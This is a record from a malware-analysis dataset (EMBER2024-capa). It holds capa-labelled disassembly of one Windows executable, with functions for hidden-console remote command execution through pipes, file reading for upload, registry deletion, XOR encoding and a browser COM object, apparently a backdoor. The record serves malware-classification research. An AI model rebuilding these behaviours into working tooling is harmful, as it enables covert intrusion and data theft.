joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007322c
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x160]
sub rsp, 0x260
lea rax, [rsp + 0x58]
mov ebx, edx
lea r9, [rbp + 0x190]
mov qword [rsp + 0x38], rax
xor eax, eax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
mov dword [rbp + 0x190], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x14007338a
mov edi, ebx
or edi, 0x20019
lea rax, [rbp + 0x198]
lea rdx, [rsp + 0x60]
mov r9d, edi
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400733a4
mov rcx, qword [rbp + 0x198]
mov edx, ebx
call fcn.14007322c
mov rcx, qword [rbp + 0x198]
mov bl, al
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x1400733a4
and qword [rsp + 0x40], 0
and qword [rsp + 0x50], 0
lea rcx, [rsp + 0x40]
call fcn.14007302c
test al, al
je 0x140073321
lea rcx, [rsp + 0x40]
call fcn.140071df0
mov ebx, dword [rbp + 0x188]
lea rdx, [rsp + 0x60]
mov r8d, ebx
xor r9d, r9d
mov rcx, rsi
call rax
jmp 0x140073335
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov ebx, dword [rbp + 0x188]
lea rcx, [rsp + 0x40]
test eax, eax
jne 0x14007339f
call fcn.1400032c4
lea rax, [rsp + 0x58]
lea r9, [rbp + 0x190]
mov qword [rsp + 0x38], rax
xor eax, eax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x190], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
jne 0x140073298
mov al, 1
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
pop rsi
pop rbp
ret
call fcn.1400032c4
xor al, al
jmp 0x14007338c
Function at 0x1400803e8
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x50
mov rbx, rdx
xor edx, edx
lea rbp, [0x1400deac0]
lea r8d, [rdx + 0x68]
mov rcx, rbp
call fcn.140024eb0
xor edx, edx
lea rdi, [0x1400deb28]
lea r8d, [rdx + 0x18]
mov rcx, rdi
call fcn.140024eb0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rbp
xor edi, edi
mov eax, 1
xor r9d, r9d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
mov dword [rsp + 0x28], reloc.OLEAUT32.dll_RegisterActiveObject
mov dword [0x1400deac0], 0x68
mov dword [0x1400deafc], eax
mov word [0x1400deb00], ax
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140080484
mov rcx, qword [0x1400deb28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140080948
Capabilities:
Get file size
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
mov qword [r11 + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
xor r12d, r12d
mov r14, r9
mov rax, r8
mov rsi, rdx
cmp word [r8], r12w
je 0x140080acf
mov qword [r11 - 0x68], r12
mov dword [r11 - 0x70], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400809b0
xor eax, eax
jmp 0x140080b0a
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, 2
mov edx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
jne 0x1400809dd
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400809a9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea r9, [rbp + 0x30]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400809a9
lea r8, [rbp - 0x28]
mov edx, 1
mov rcx, r15
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov rcx, qword [rbp - 0x28]
lea rax, [rbp - 0x30]
lea r9, [0x1400a72b0]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x30], r12
call qword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
mov rcx, qword [rbp - 0x28]
mov rax, qword [rcx]
call qword [rax + reloc.WSOCK32.dll_recv]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x1400809a9
mov rax, qword [rcx]
lea rdx, [rbp + 0x40]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp + 0x40]
lea r8, [rbp - 0x20]
mov edx, reloc.OLEAUT32.dll_RegisterActiveObject
call qword [sym.imp.GDI32.dll_GetObjectW]
mov rcx, qword [rbp + 0x50]
cmp dword [r14], r12d
jne 0x140080aa1
cmp dword [rcx], r12d
jne 0x140080aa1
mov eax, dword [rbp - 0x1c]
mov dword [r14], eax
mov eax, dword [rbp - 0x18]
mov dword [rcx], eax
mov r9d, dword [rcx]
mov r8d, dword [r14]
mov rcx, qword [rbp + 0x40]
xor edx, edx
mov dword [rsp + 0x20], 0x2000
call qword [sym.imp.USER32.dll_CopyImage]
mov rcx, qword [rbp - 0x30]
mov qword [rbp + 0x40], rax
mov rax, qword [rcx]
call qword [rax + reloc.WSOCK32.dll_recv]
mov r9, qword [rbp + 0x40]
jmp 0x140080ad6
mov r9, r12
mov qword [rbp + 0x40], r12
mov rcx, qword [rsi + 0xc0]
test rcx, rcx
je 0x140080aec
call qword [sym.imp.GDI32.dll_DeleteObject]
mov r9, qword [rbp + 0x40]
mov rbx, qword [rsi]
xor r8d, r8d
mov edx, 0x172
mov rcx, rbx
mov qword [rsi + 0xc0], r9
call qword [sym.imp.USER32.dll_SendMessageW]
mov rax, rbx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140081690
Capabilities:
Check for unmoving mouse cursor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x30
lea rcx, [0x1400db800]
mov r14d, r9d
mov rsi, r8
mov rdi, rdx
call fcn.1400193dc
movsxd rcx, eax
mov rax, qword [0x1400db8a0]
mov rcx, qword [rax + rcx*8]
mov rbx, qword [rcx]
cmp rsi, rdi
jne 0x140081714
cmp qword [rbx + 0x2d0], 0
je 0x140081782
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetCursorPos]
and qword [rsp + 0x28], 0
mov rcx, qword [rbx + 0x2d0]
mov qword [rsp + 0x20], rdi
mov r8d, dword [rsp + 0x50]
mov r9d, dword [rsp + 0x54]
xor edx, edx
call qword [sym.imp.USER32.dll_TrackPopupMenuEx]
jmp 0x1400817a4
lea rcx, [0x1400db800]
mov rdx, rsi
call fcn.140019638
cmp eax, 0xffffffff
je 0x140081782
movsxd rbp, eax
mov rax, qword [0x1400db8c8]
mov rcx, qword [rax + rbp*8]
mov rdx, qword [rcx]
mov cl, byte [rdx + 0xfc]
lea eax, [rcx - 0xe]
cmp al, 2
jbe 0x140081782
cmp cl, 0x13
je 0x140081782
cmp qword [rdx + 0x18], 0
je 0x140081782
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rax, qword [0x1400db8c8]
and qword [rsp + 0x28], 0
mov rcx, qword [rax + rbp*8]
mov rax, qword [rbx]
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rax
mov rcx, qword [rcx + 0x18]
jmp 0x1400816fd
movzx r9d, word [rsp + 0x70]
movzx eax, r14w
mov r8, rsi
shl r9d, 0x10
mov edx, 0x7b
mov rcx, rdi
or r9, rax
call qword [sym.imp.USER32.dll_DefDlgProcW]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1400174b0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x140017604
cmp r9, 4
jb 0x1400174fa
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x1400174e0
xor r11d, r11d
test r9, r9
je 0x140017604
cmp r9, 0x40
jb 0x1400175e3
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14001752c
cmp rdx, r8
jae 0x1400175e3
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x140017541
cmp rdx, r10
jae 0x1400175e3
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov rsi, r9
and rsi, 0xffffffffffffffc0
mov qword [rsp], rdi
mov rdx, r10
lea rax, [r8 + 0x10]
sub rdx, r8
mov rbx, rcx
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x140017570
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x10]
mov rdi, qword [rsp]
cmp r11, r9
jae 0x140017604
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x1400175f0
add rsp, 8
ret
Function at 0x14001cbc0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140070028]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, rcx
mov rdi, r8
lea rcx, [0x14007b0f1]
mov rbp, rdx
call fcn.140023c78
test rdi, rdi
jg 0x14001cbf8
xor eax, eax
jmp 0x14001ccf8
cmp qword [rsi + 0x68], 0
mov rcx, rsi
je 0x14001cc12
mov r8, rdi
mov rdx, rbp
call fcn.140018dd0
jmp 0x14001ccf8
mov qword [rsp + 0x20], rdi
call fcn.140010810
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14001cc6a
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x78], rbx
lea rcx, [rsp + 0x20]
call fcn.1400056d0
mov rcx, rsi
mov rbx, qword [rax]
call fcn.140010870
mov rdx, rax
mov r8, rbx
mov rcx, rbp
call fcn.1400056a0
sub qword [rsp + 0x20], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call fcn.1400190f0
mov rbx, qword [rsp + 0x78]
cmp qword [rsi + 0x80], 0
je 0x14001cced
mov rcx, rsi
call fcn.14001bde0
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xfff
jbe 0x14001ccc7
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rbp
call fcn.1400334c0
mov rcx, qword [rsp + 0x20]
add rbp, rax
sub rcx, rax
mov qword [rsp + 0x20], rcx
cmp rax, 0xfff
jne 0x14001ccf2
cmp rcx, rax
ja 0x14001cc90
test rcx, rcx
je 0x14001ccf2
mov r9, qword [rsi + 0x80]
mov r8, rcx
mov rcx, rbp
mov edx, 1
call fcn.1400334c0
mov rcx, qword [rsp + 0x20]
sub rcx, rax
jmp 0x14001ccf2
mov rcx, qword [rsp + 0x20]
sub rdi, rcx
mov rax, rdi
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140023dc0
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001db30
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ebx, edx
lea rcx, [0x14007b267]
call fcn.140023c78
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, ebx
mov rcx, rdi
call fcn.14001dad0
mov rbx, qword [rsp + 0x30]
mov rax, rdi
add rsp, 0x20
pop rdi
ret

Function at 0x14001e320
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x14007b267]
call fcn.140023c78
mov eax, dword [rbx]
cmp eax, 0x270
jne 0x14001e348
mov rcx, rbx
call fcn.140020780
jmp 0x14001e357
cmp eax, 0x4e0
jb 0x14001e357
mov rcx, rbx
call fcn.140020680
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret
Function at 0x14001efa0
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x1050]
mov eax, 0x1150
call fcn.140024070
sub rsp, rax
mov rax, qword [0x140070028]
xor rax, rsp
mov qword [rbp + 0x1040], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x70], rcx
xor esi, esi
mov dword [rsp + 0x50], esi
lea rcx, [0x14007b28a]
call fcn.140023c78
mov rcx, rbx
call fcn.140004780
mov dword [rsp + 0x50], 1
mov dword [rbp - 0x78], reloc.OLEAUT32.dll_SafeArrayGetElement
mov dword [rbp - 0x68], 1
mov qword [rbp - 0x70], rsi
xor r9d, r9d
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x14001f1a9
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
mov dword [rbp + 0x14], eax
mov dword [rbp - 0x40], 0x68
mov rax, qword [rbp - 0x80]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x18], rax
psrldq xmm0, 8
movd eax, xmm0
bts eax, 8
mov dword [rbp - 4], eax
mov rcx, rdi
call fcn.1400209c0
mov rdx, rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14001f180
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0x40]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001f12d
mov eax, dword [rbp + 0x30]
test eax, eax
je 0x14001f12d
mov r8d, eax
lea rdx, [rbp + 0x40]
mov rcx, rbx
call fcn.140005310
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0x40]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14001f0f5
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rcx, qword [rbp + 0x1040]
xor rcx, rsp
call fcn.140023dc0
mov rbx, qword [rsp + 0x1180]
add rsp, 0x1150
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateProcess_failed_
lea rcx, [rsp + 0x58]
call fcn.14001deb0
lea rdx, [0x14006e4d8]
lea rcx, [rsp + 0x58]
call fcn.140024fa8
int3
lea rdx, str.CreatePipe_failed_
lea rcx, [rsp + 0x58]
call fcn.14001deb0
lea rdx, [0x14006e4d8]
lea rcx, [rsp + 0x58]
call fcn.140024fa8
int3
Function at 0x1400200c0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140070028]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r15, r8
mov rbx, rdx
mov qword [rsp + 0x40], rcx
lea rcx, [0x14007b28a]
call fcn.140023c78
lea r8, str._upload
lea rdx, [0x140072dc0]
lea rcx, [rsp + 0x58]
call fcn.14001cf70
nop
xor r14d, r14d
mov qword [rsp + 0x48], r14
mov rcx, rbx
call fcn.1400209c0
mov rcx, rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r12d, 1
mov r8d, r12d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14002016c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
jmp 0x140020250
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp eax, 0xffffffff
jne 0x140020195
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140020250
lea r13d, [rax + 0xc]
movsxd rbx, r13d
mov rcx, rbx
call fcn.140023c70
mov rsi, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.1400263e0
mov eax, dword [0x140072dbc]
mov dword [rsi], eax
mov dword [rsi + 4], 0xf7cca38
mov dword [rsi + 8], ebp
lea rdx, [rsi + 0xc]
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x50]
mov r8d, ebp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140020236
cmp dword [rsp + 0x50], ebp
jne 0x140020236
lea rcx, [rsp + 0x58]
call fcn.1400209c0
mov rbx, rax
mov rcx, qword [rsp + 0x40]
call fcn.14001e1b0
mov rcx, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, r13d
mov r8, rsi
mov rdx, rbx
call fcn.14001f3d0
mov r12d, eax
test eax, eax
js 0x140020250
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.140023c68
jmp 0x140020253
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r15], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.140023c68
mov r14d, r12d
lea rcx, [rsp + 0x58]
call fcn.140017a20
mov eax, r14d
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140023dc0
mov rbx, qword [rsp + 0xd8]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140020680
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x14007b267]
call fcn.140023c78
lea r10, [rbx + 0x9c4]
mov r11d, 0xe3
mov eax, dword [r10]
nop word [rax + rax]
mov edx, dword [r10 + 4]
lea r8, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x1400206b0
lea r10, [rbx + 0xd50]
mov r11d, 0x18c
mov eax, dword [r10]
nop dword [rax]
mov edx, dword [r10 + 4]
lea r8, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd4c]
xor ecx, edx
mov dword [r10 - 0x9c0], ecx
lea r10, [r8]
sub r11, 1
jne 0x140020700
mov edx, dword [rbx + 0x1380]
xor edx, dword [rbx + 4]
btr edx, 0x1f
mov dword [rbx], 0
xor edx, dword [rbx + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [rbx + 0x634]
xor ecx, edx
mov dword [rbx + 0x9c0], ecx
add rsp, 0x20
pop rbx
ret

Function at 0x140020780
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x14007b267]
call fcn.140023c78
lea rax, [rbx + 8]
mov r9d, 0x270
nop
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x1400207a0
add rsp, 0x20
pop rbx
ret

Function at 0x140020c60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov edi, r8d
lea rcx, [0x14007b267]
mov ebx, edx
call fcn.140023c78
mov eax, 1
mov dword [rsi + 4], ebx
lea rdx, [rsi + 8]
nop
mov r9d, ebx
lea rdx, [rdx + 4]
shr r9d, 0x1e
xor ebx, r9d
imul ebx, edi
add ebx, eax
inc rax
mov dword [rdx - 4], ebx
cmp rax, 0x270
jb 0x140020c90
mov rbx, qword [rsp + 0x30]
mov dword [rsi], 0x270
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140020d00
Capabilities:
Initialize iwebbrowser2

Disassembly:
push rbx
sub rsp, 0xc0
mov rax, qword [0x140070028]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rcx, [0x14007b28a]
call fcn.140023c78
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140053268]
lea rcx, [rsp + 0x90]
call fcn.14001d8e0
nop
lea rdx, [0x140053268]
lea rcx, [rsp + 0x70]
call fcn.14001d8e0
nop
lea rdx, [0x140053268]
lea rcx, [rsp + 0x50]
call fcn.14001d8e0
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov edx, reloc.OLEAUT32.dll_SafeArrayGetElement
lea rcx, [rsp + 0x38]
call fcn.14001bee0
lea rcx, [rsp + 0x38]
call fcn.14001dc10
nop
mov edx, 8
lea rcx, [rsp + 0x30]
call fcn.14001bee0
lea rcx, [rsp + 0x30]
call fcn.14001d610
nop
lea rcx, [rsp + 0x30]
call fcn.14001e1d0
mov qword [rsp + 0x20], rax
lea r9, [0x140053790]
xor edx, edx
lea r8d, [rdx + 0x15]
lea rcx, [0x1400537a0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140020e28
cmp byte [0x140072db8], 0
jne 0x140020e10
lea rcx, [rsp + 0x30]
call fcn.14001ed40
mov ebx, eax
lea rcx, [rsp + 0x30]
call fcn.14001e770
cmp ebx, 1
je 0x140020de5
mov byte [0x140072db8], 1
lea rcx, [rsp + 0x30]
call fcn.14001f790
mov ecx, dword [section..data]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140020de5
lea rdx, str.Call_me_r3druM
lea rcx, [0x140073030]
call fcn.140019440
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
lea rcx, [rsp + 0x30]
call fcn.14001df20
nop
lea rcx, [rsp + 0x38]
call fcn.14001dfc0
nop
lea rcx, [rsp + 0x50]
call fcn.140017a20
nop
lea rcx, [rsp + 0x70]
call fcn.140017a20
nop
lea rcx, [rsp + 0x90]
call fcn.140017a20
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140023dc0
add rsp, 0xc0
pop rbx
ret

Function at 0x140024b84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140024bce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140024bce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140024bce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140024bce
cmp dword [rcx + 0x84], 0xe
jbe 0x140024bce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140024bd0
xor al, al
add rsp, 0x28
ret

Function at 0x14003b60c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003b408